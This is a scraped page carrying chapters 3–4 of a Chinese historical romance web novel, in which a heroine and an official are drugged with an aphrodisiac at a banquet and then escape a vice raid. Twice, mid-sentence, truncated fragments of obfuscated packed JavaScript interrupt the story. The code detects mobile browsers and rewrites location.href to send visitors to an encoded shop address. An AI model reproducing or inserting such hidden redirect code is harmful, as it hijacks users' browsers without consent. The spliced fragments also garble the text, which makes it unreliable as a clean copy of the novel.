《夺环(强取豪夺)》 3. 第 3 章 春药 袖子宽大,遮住了众人的视线。唐照环借着遮掩一翻手腕,把酒顺着袖管尽数倒入了衣袖内衬之中,只洇湿了一小片,若不细看根本察觉不出。 她放下袖子,对众人亮出空杯,做出一副饮尽的模样。 众人正自觥筹交错,无人留意她小动作。她干脆抽出腰间别着的手帕,假借轻拭嘴角的动作丢入袖中,将第二杯酒倒在手帕上。 第一轮酒罢,到第二轮。 这一回,赵燕直依旧不接。 唐照环不敢都往袖中倒,按理她两轮应喝了四杯,却身无酒气,说不过去,只得硬着头皮喝了一杯。酒入腹只觉一股热流从胃中升起,并无其他异样。 她暗暗松了口气,心想这壶酒该是干净的。 酒喝了,戏也要做足,她佯装不胜酒力,半倚在赵燕直身上。两人衣袖交叠,看不尽的暧昧缠绵,实则全部重量都靠她自己手腕撑地,丝毫不碰触他。 两轮过后,只有赵燕直未喝。第三轮酒令既出,满座目光齐刷刷聚向他俩。 唐照环还没想好如何反应,一只修长的手将她端着酒杯的手包裹住,往旁一带。她身子一歪,后背猝不及防地撞上一具温热的胸膛,肩头被他的手臂环住,半倚半靠地跌入了赵燕直的怀抱之中。 赵燕直低头对她宠溺一笑,一手揽着她的肩,一手高举着她握杯的手,将酒倾入口中。 唐照环被他箍在怀中动弹不得,只能仰着脸,怔怔看他饮尽那杯酒。 满堂宾客爆发出雷鸣般的喝彩:“了不得,人人只道赵监军清冷自持,不近女色,今日方知,原来是没遇到可心的人儿!” 笑声掌声叫好声混作一团,那几个官伎更掩着嘴,吃吃地笑个不停,眼中满是暧昧与艳羡。 一杯饮尽,唐照环肩膀一松,被赵燕直推回原位。她又惊又羞,满身红烫如同刚出锅的虾子,连忙低下头整理裙摆,心中庆幸脸上粉厚,看不出端倪。 但她明白,赵燕直在为她解围,否则三轮次次她自己喝,陈大官人定要起哄让她再劝。她心中涌起暖意,也不管他看不看得见,暗暗用手势向他致谢。 陈大官人将方才一幕在心头反复咂摸,越品越觉得有滋味。赵监军分明是对这小娘子有意,但尚未得手。 他心中暗喜,今日他设宴邀请本就存了别样心思,如今看来,更有戏了。 他言语间愈发殷勤热络,先夸赞岢岚军军威赫赫,又说起边关苦寒,将士不易,说着说着拐到了正题上。 他凑近赵燕直,小声道:“听说岢岚军今年冬衣被服尚有缺额。小弟不才,在汴京多年也有些产业,绸缎布匹,粮草药材,应有尽有。若监军不弃,小弟愿以平价供给岢岚军一应所需,也算为边关将士尽一份心力。” 他说得冠冕堂皇,可唐照环听得明白,这是想攀上赵燕直的关系,做军需生意。军需之利,十倍于寻常买卖,这姓陈的胃口倒不小。 赵燕直听了,端起茶盏抿了一口:“陈兄有心了。只是军需采买向有定例,小弟不过一介监军,如何敢擅自做主。陈兄若有意,不妨去寻管事的衙门走动走动。” 他说得滴水不漏,既未答应也未拒绝,轻轻巧巧将话题推了开去。 陈大官人碰了个软钉子,倒也不恼,哈哈一笑:“赵监军说得是,是我想左了。来来来,喝酒喝酒!” 酒过三巡,菜过五味,雅阁内的气氛愈发炽烈。众人喝得醺醺然,言语间也越发随意。那几个官伎脸上泛着红晕,眼波流转间也多了几分迷离。有的倚在身旁郎君肩上,有的凑在耳边低语,娇笑声不断。 陈大官人眯着眼扫了一圈,朝她们使了个眼色。 几人会意,当即软语温存地搀起身旁男子,半推半就地相携出了雅阁,往后面客房去了。 不多时,雅阁内只剩下了赵燕直,唐照环,与陈大官人三人。 唐照环精神紧绷了一个晚上,手臂都撑酸了,见终于可以收场,不由得暗暗松了口气,露出个整晚最真切的笑容。 她正欲起身陪赵燕直告辞,却见陈大官人端起酒壶酒杯,摇摇晃晃走到他们面前:“赵监军且慢,今日难得尽兴,小弟敬你最后一杯,权当送行。” 他说着便要给赵燕直斟酒。 赵燕直抬手制止他,端起自己桌上酒壶,将残酒尽数倒入杯中。他和唐照环都喝过,确认无问题。 他正要开口,陈大官人一个踉跄,酒壶一晃,将自己手中酒壶的酒水浇到赵燕直面前半满的酒杯里。 “哎呀,罪过罪过。”陈大官人连忙放下酒壶,手忙脚乱地唤人,“来人,快换新酒来。” 他唤了几声,却无人应答。 赵燕直决定尽快离开:“不必叫人了,就这杯吧。” “好好好,今日真高兴能与监军把酒言欢,实乃三生有幸。咱们满饮此杯送行酒,方不负今夜之欢。” 两人一饮而尽。 陈大官人又转向唐照环,用手中酒壶倒了一杯,笑眯眯地递给她:“小娘子……也喝……” 唐照环下意识看向赵燕直,见他无异议,便也接过酒杯,一饮而尽。 酒液入喉,似乎与之前的并无不同。她放了心,正待放下酒杯,忽觉一阵头晕目眩,手脚软绵绵地使不上力气。想要说话,却发现舌头也麻了,一个字也说不出来。 他不会也中招了吧,她使出最后力气望向赵燕直,见他眉头蹙起,显然也察觉到了异样。 陈大官人见他们如此,得意道:“二位慢坐,小弟先去更衣。” 说罢转身离开,脚步稳健,哪里还有半分醉态。 门外立时进来两个健壮仆妇,一左一右搀起唐照环和赵燕直,将他们扶出了雅阁,沿昏暗的游廊向后走去。 也不知过了多久,两人被送入一间布置华美的客房,并排摆在了宽大的床上。 仆妇将门砰地从外面关上,落锁的声音清晰可闻。 唐照环瘫软在床上,只觉浑身燥热,心跳如擂鼓,勉强睁开眼,看见身旁的赵燕直仰面躺着,额上已沁出细密汗珠。 “终于明白了。”过了会儿,他终于缓过神,嘲讽道,“不过助兴的春药罢了。” 春药。 这两个字如同惊雷一般在唐照环脑海中炸开。 唐照环穿越到北宋已有九年,可她仍记得穿越前,曾在无数网文中读到过关于春药的各种描写。 什么若不交合,便会血脉贲张而亡,什么神智迷乱,见人便扑,神乎其技,恐怖至极。她虽知那些多为杜撰,可此时身处这般境地,又如何能不多想。 她挣扎着坐起身,目光在房中急速扫过。 门边几上摆着一只高胖花瓶,瓶口插着新折的梅花,瓶中应该有水。 她不知哪来的力气,踉跄着扑过去,抱起花瓶咬牙举起,往自己头上浇。 冰凉的水从头顶倾泻而下,淋了她满身满脸。彻骨的寒意激得她浑身一颤,燥热之感当真消退了几分,混沌的神智也为之一清。 赵燕直望着她这般举动,一贯淡然的面容上终于露出了惊愕之色。 她浑身湿透,衣裙紧紧贴在身上,勾勒出玲珑曲线,发髻散乱,水珠顺着脸颊不断滴落,可谓狼狈至极。可她脊背挺直,目光清亮,无半分迷乱。 “你这是做什么?”他声音沙哑,不复平日清润。 唐照环放下花瓶,抬手抹掉脸上的水,喘着气保证道:“让自己清醒些。您放心,我绝对不会趁人之危,占您便宜。” 赵燕直一时竟不知该说什么。 寻常故事里,都是郎君要做柳下惠,担心自己狼性大发,到她身上,居然不担心自个,反而替他操心他的清白。如此思路清奇之人,他前所未见。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484849|201945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >半晌,他轻笑出声。 “趁人之危?占我便宜?”他重复着她的话,无奈地翘起嘴角,“什么春药迷情,什么不交合会如何如何,都是些市井野谈,骗人的鬼话。 春药不过助兴之物,若人不起兴致就如寻常酒水,顶多让人燥热片刻,药效一过便无事了。” 唐照环心中一块大石落了地。原来如此,网文骗我。 她浑身上下顿时松软如散沙,瘫坐回床头,打了个哆嗦:“那就好,等会儿咱们都有力气了赶快走吧,这鬼地方我是一刻也不想多待了。” 赵燕直目光从她湿透的发丝缓缓下移,滑到她因寒冷而发白的唇,落在她被水浸透的衣衫上。 藕荷色的绫料沾了水变得半透,紧紧贴在她身上,勾勒出浑圆的肩头,隐约可见内里小衣的轮廓,和少女初初长成的柔美曲线。 一股热流从他小腹升起,远比方才药效来得更加猛烈,烧得他喉间发紧。 他猛地移开目光,闭上眼,压下那股不该有的悸动。 活色生香,秀色可餐。 这八个字忽然涌入脑海,挥之不去。 他心中暗骂自己一声,却不由自主地又睁开眼。她依旧坐在那里,浑然不觉自己此刻的模样有多撩人,只低头拧衣袖上的水,不知嘟囔什么。 他霍然起身,伸手扯过自己大氅,扬手扔给她:“披上。这般湿着,仔细冻坏了。” 唐照环下意识接住,触手是厚实丝绸,内里絮着丝绵,暖和柔软。氅衣宽大,披上后将她从头到脚裹得严严实实,密不透风。 她感激道:“多谢监军。” 赵燕直没有回应,负手立在窗前,只留给她清隽背影。房中一时静谧无声,只闻窗外夜风拂过梅枝,沙沙作响。 不到片刻,忽听门外传来一阵嘈杂的脚步声,夹杂着人语喧哗,由远及近,正往这边来。 “几位官人请留步啊。”鸨母的声音焦急又惶恐,“后面是客人们歇息的地方,不便打扰。几位若要饮酒听曲,老身给几位安排最好的雅阁,最好的娘子……” “让开!”一个男声厉声喝道,“我等奉上官之命稽查风纪,谁敢阻拦。再不让开,连你一并拿了。” 脚步声愈发近了,伴随着棍棒敲击地面的声响,还有男女惊呼。 唐照环脸色骤变,按照北宋官方规定,官员不许到青楼宴饮,更不许留宿。虽说平日大家睁一只眼闭一只眼,民不告官不究,可一旦被稽查风纪的抓到,绝对要狠遭御史弹劾。 不能让赵燕直被抓到,她挣扎着站起身,环顾四周,只看见一扇门,一扇窗。 她快步走到窗前推开一条缝,探头一望,只见漆黑天井离地足有丈余。若跳下去,不死也伤。 她缩回头,关上窗,脸色煞白,急道:“屋子不在一楼,没别的出口。” 赵燕直神态悠闲,半分不见慌张。他并未答话,只是勾起极淡笑意,像月光下的涟漪,转瞬即逝。 “急什么,来的又不是老虎。” 唐照环正要说话,脚步声已到了门外,戛然而止。 一声巨响,房门被人从外推开。火光如潮水般涌入,照亮了门口几道人影。 当先一人面容清瘦,一双眼睛尤其澄澈。通身上下并无半分多余饰物,却自有一股清正之气,凛然不可犯。 跟在他身后的是个四十来岁的中年官员,身形微胖,同样一身官袍,品级显然低了一等。他身后跟着几个手执棍棒的小吏,一进门,目光便直直落在赵燕直脸上,脸上露出意味深长的笑容。 “范郎中,这位是岢岚军监军,淄王孙赵燕直,下官认得他。”中年官员站到那年轻官员身侧,尖厉道,“好一个岢岚军监军,身为朝廷命官,居然夜宿青楼,嫖宿官伎。赵监军,你可知罪?!” 他声音洪亮,字字铿锵,已将赵燕直定罪。 4. 第 4 章 脱罪 赵燕直缓缓转过身来,不理会员外郎的话,只对着闯进来的青年男子温声道:“原来是范郎中。经年未见,今日与君重逢,范郎中依旧风采过人。” 他说得云淡风轻,宛若叙旧,半分不见被抓现行的窘迫。 赵燕直此人,范明允当然知道许多。 两人同年出生,元丰八年同年进士及第。除了前三名,就属他和赵燕直风头最盛。 范明允的曾祖父生前是当世大儒,大宋多部律令出自他手,所以他受曾祖余荫当即进入刑部,起点便是从六品的郎中。 赵燕直身为宗室,不好做得那么明显,便指派去河东路的岚谷县做了个知县,符合进士首次授官惯例。但岚谷县其实是岢岚军驻军地,为了政令通达,特意任命他兼任岢岚军监军。 大宋文官地位超然,加上赵燕直母家根基在东边的宁化军中,赵燕直名义上虽在岢岚军知军之下,实际上却成了岢岚军第一人。 不止如此,赵燕直在太学入学时,颇受当时的宰相王珪青睐,风传若他中举,就将亲生的四女儿嫁给他。只不过元丰八年,神宗和王珪同年接连去世,两人均需守孝,所以并未来得及上报大宗正司。 赵燕直被授岢岚军监军,听说也有王家在后面运作的影子,想来两家联姻会在王四娘子孝期结束后依旧举行。 范明允性格再刚直,也知巡查风纪是最得罪人的差事,又临近过年,本不想来。无奈上官有令,员外郎又跟在屁股后头盯得紧,他推脱不得,只得硬着头皮出来转一圈。 谁知竟真撞上了赵燕直嫖宿官伎,那自然得秉公执法。 范明允沉下脸:“赵监军,莫要顾左右而言他。我问你,你夜宿青楼,可有此事?” “范郎中既然问起,本官自当如实相告。”赵燕直目光在那中年官员脸上一掠,道,“不知这位是?” 中年官员上前一步,昂首说自己是刑部员外郎,奉命随范郎中巡查风纪。 赵燕直点了点头:“二位既是刑部官员,来此巡查自无不可。只是二位可知,腊月有当今官家兴龙节,又近岁末,朝廷向有旧例,许官员至青楼宴饮,与民同乐,共贺佳节。 我今日受邀来此与友人小聚,饮几杯酒,听几支曲,有何不可。” 员外郎被他这一问,顿时语塞。他自然知道这规矩,可好不容易抓住赵燕直的把柄,如何肯轻易放过。 “赵监军好一张利口。青楼宴饮自是无妨,可你如今身在客房之中,身边还带着个衣衫不整的官伎,孤男寡女共处一室,岂是宴饮二字能遮掩过去的?分明是嫖宿!” 他大步上前,一把扯住唐照环裹着的氅衣下摆,猛地掀开,她罗裙衣角处一朵兰花印记赫然出现。 “此女身上穿的是烟雨楼官伎服饰,上面印记清晰可见,你还敢狡辩。” 员外郎得意洋洋地看着唐照环,冷笑道:“你这贱婢,身为官伎,明知赵燕直乃朝廷命官却仍陪宿,罪加一等。来人,将她拉下去,先打二十板子,再押入大牢,听候发落。” 几个小吏轰然应诺,随即上前拿人。 嫖宿官伎?这罪名若坐实了,赵燕直的仕途毁不毁另说。她一个平民女子,只怕从此真要被罚没到青楼里。 唐照环见小吏直扑自己而来,脑筋急转,一把把氅衣拽回来,单手叉腰,指着员外郎的鼻子破口大骂道: “放你娘的狗屁,给我睁开你那破烂狗眼好好瞧瞧,老娘从哪只眼睛里看着像官伎了。” 她这一声喝骂清脆响亮,气势汹汹,直震得屋内所有人齐齐一愣。小吏脚下顿了顿,面面相觑,不知该如何是好。 唐照环趁势上前一步,嘴里噼里啪啦如连珠炮一般,继续往那员外郎脸上招呼:“我告诉你,老娘是大相国寺外万和祥绸缎庄的裁缝。 今儿下午,我到烟雨楼送完布料,又做衣裳。做好了衣裳,她们跟我说什么没空试穿,非要我自己穿上给她们瞧瞧。 我刚穿上,又有个婢女跑来说,上房里有个娘子衣裳开了线,急需人缝补,催得跟催命似的,我来不及换衣裳便直接上来了。 谁知一推门,屋里哪有什么娘子,分明是个男的。这厮也不知安的什么心,竟在门框顶上放了个装水的花瓶。我一推门,花瓶哐当一声掉下来,浇了我一头一身的水。 你们看看,我头发还是湿的。” 她低头,让众人看清她湿漉漉的长发。湿发贴在脸颊上,衬得一张小脸愈发苍白。 唐照环越说越气,声音也愈发响亮:“我被他浇了一身水,冷得直哆嗦,还没找他算账呢,你们倒先来诬赖老娘是官伎,还要打我板子。你们这些当官的,眼睛都长到屁股上了不成。 听你们说,他是大官?那好,这件氅衣既然我穿上了,就是我的了,不脱了。他若想要回去,得赔我一整身新衣裳。” 她一把将大氅又裹紧了些,一副死也不脱的架势。 屋内一片寂静。 她一番话有鼻子有眼,说得跟真的似的。员外郎听得一愣一愣,一时竟不知该如何反驳。 赵燕直静静看她这番表演,愉悦地眯起眼睛。他原本还想替她解围,却不想她竟有这般本事,一张嘴皮子利索得紧,骂起人来连气都不带喘的。 他索性不开口,只作壁上观,看她如何收场。 员外郎愣了片刻,终于回过神来,指着唐照环道:“你……你胡言乱语,分明狡辩。” 唐照环双手叉腰,冷笑道:“你若不信,去把楼下的鸨母叫来对质,看看老娘今日是不是来送布料的。” 员外郎被她噎得说不出话,只得将求助目光投向身旁的范明允。 范明允见唐照环说话时眼神毫无畏惧之色,举手投足间一股子泼辣爽利,倒真像市井中常见的手艺人。有几分本事,便有几分底气,天不怕地不怕。 他沉吟片刻,开口问:“你方才说的可都是实情?” 唐照环转头看向他,见这人也身着官袍,神态比员外郎和善许多,目光并无恶意,便缓和语气道:“自然是实情。我一个平民女子,怎敢在官人面前撒谎。” 范明允又问:“你口口声声说自己是裁缝,可有什么证据?” 唐照环闻言,伸手入怀,摸出一个小小的针线包来。她打开针线包,里头整整齐齐插着几根大小不一的针,还有几卷丝线,一把剪刀。 “这便是凭证。”她将针线包举到范明允面前,“做我们这一行的,手艺便是饭碗,我自十岁起学艺,吃饭的家伙就随身带着,从未离身。” 范明允接过针线包细细端详。包用粗布缝制,边缘已磨得发毛,但浆洗得干净。针插得整齐,每一根都磨得光滑锃亮,一看便是常用之物。他心中信了七八分,将针线包还与唐照环。 唐照环指着范明允的袍子:“您袍子下摆破了个洞,该是方才进门时被什么东西勾破的。您瞧瞧。” 那洞约莫寸许长,虽不起眼,却逃不过她这个行家的眼睛。 范明允还在找洞的位置,唐照环已从针线包里抽出一根针,又捻出一根与袍子颜色相近的丝线,穿针引线,手法娴熟至极。 她也不管范明允同不同意,走上前蹲下身子,就着火光,飞快地缝了起来:“给官人缝上,权当证明我的手艺。” 她的手法极快,极稳,手指翻飞间,针线如游鱼般在布料间穿梭。不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484850|201945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻功夫,破洞便被缝补好了,针脚细密均匀,平整如新。 唐照环收好针线,站起身来,拍了拍手,将袍子下摆递给他:“好了,这手艺可还入得了官人的眼?” 范明允细看,不由得暗暗点头。针脚细密紧实,与原本的织纹融为一体,若非仔细分辨,几乎看不出修补过的痕迹。这等手艺,绝非一朝一夕能练成,更非寻常人所能拥有。 他抬起头,重新打量唐照环。她的脸虽被冷水浇得苍白,眉眼却生得清秀,一双眸子尤其水润明亮,此刻正坦然地望着他,没有半分畏惧,也无半分谄媚。 他全信了。 此女的一举一动,一言一行,装不出来。 “娘子好手艺。” 唐照环得了夸奖,愈发来劲:“官人这件袍子是上好的苏杭罗,好看是好看,却不耐穿,多穿几次容易蹭脏,颜色也不鲜亮了。 若不嫌弃,回头去我们万和祥瞧瞧,如今新推了以旧换新的买卖,旧袍子折价换新袍子。官人成日在外头跑,不如换件不那么娇贵的料子,耐穿也省心。” 范明允听她说着说着竟做起买卖来,不由得哑然失笑。 这人,倒有意思。 “娘子倒是会做生意,此事容后再议。今日之事,本官还需查个明白。”他转向赵燕直,神色一正,“赵监军,你又有何话说?” “范郎中既问,我便实言相告。赵某今夜受邀赴宴,本为寻常应酬。酒过三巡,有陈姓商贾敬了我一杯酒,饮后顿觉头晕目眩,四肢无力,方知酒中被人下了药。 赵某被药力所制,身不由己,被人送至这间房中。好在虽身中暗算,神智却未全失,心知此事必有蹊跷,恐有人设局陷害。为求自保,在屋中寻得一盛满水的花瓶,将其置于门框之上。 本想若有人闯入,便可借此惊醒他人,也好脱身。不料这位小娘子误入此间,又被花瓶砸中,倒是我的不是了。” 他朝唐照环似有深意地拱手一礼:“这位娘子,方才多有得罪,氅衣赔与你权当压惊。” 唐照环明白他这是在配合自己演戏,心中暗赞一声,面上依旧一副泼辣相,哼道:“这还差不多,算你识相。” “这便是事情完整经过。至于什么嫖宿官伎,更是无稽之谈。” 他说完,屋内又是一阵沉默。 员外郎脸上的得意之色渐渐褪去,取而代之的是尴尬和不安。他本以为抓了个现行,立了大功,没想到赵燕直三言两语将事情说成了被人陷害。若真如此,他们今夜这一趟,岂不成了笑话? “范郎中,您莫要被他们骗了,这分明是两人串通好的。” 范明允却沉吟不语,目光在赵燕直和唐照环之间来回打量。赵燕直的话,听起来合情合理,滴水不漏。可正是因为太合理了,反而让人生疑。 他赵燕直是淄王孙,岢岚军监军,心思深沉,手段了得,怎会轻易被人暗算。这其中,究竟有几分真,几分假? 他正思索间,唐照环却开口了。 她裹紧身上的氅衣,看了赵燕直一眼,又对范明允嘟囔道:“你们这些大官人,叽里咕噜说了这许多,我也不大听得懂。 我只知道,天色已经很晚了,我得赶紧回万和祥交差,再不回去掌柜要生气的。而且再晚点,路上店铺打烊了,黑灯瞎火的,我一个女子孤身走在路上,若出了什么事,你们谁负责?” 唐照环说完,作势要往外走。 “且慢。”范明允叫住她,“小娘子留个姓名住处,日后若需对质,也好寻你。” 唐照环脚步一顿,转过身大大方方道:“我叫唐照环。你们要寻我,去大相国寺找万和祥。”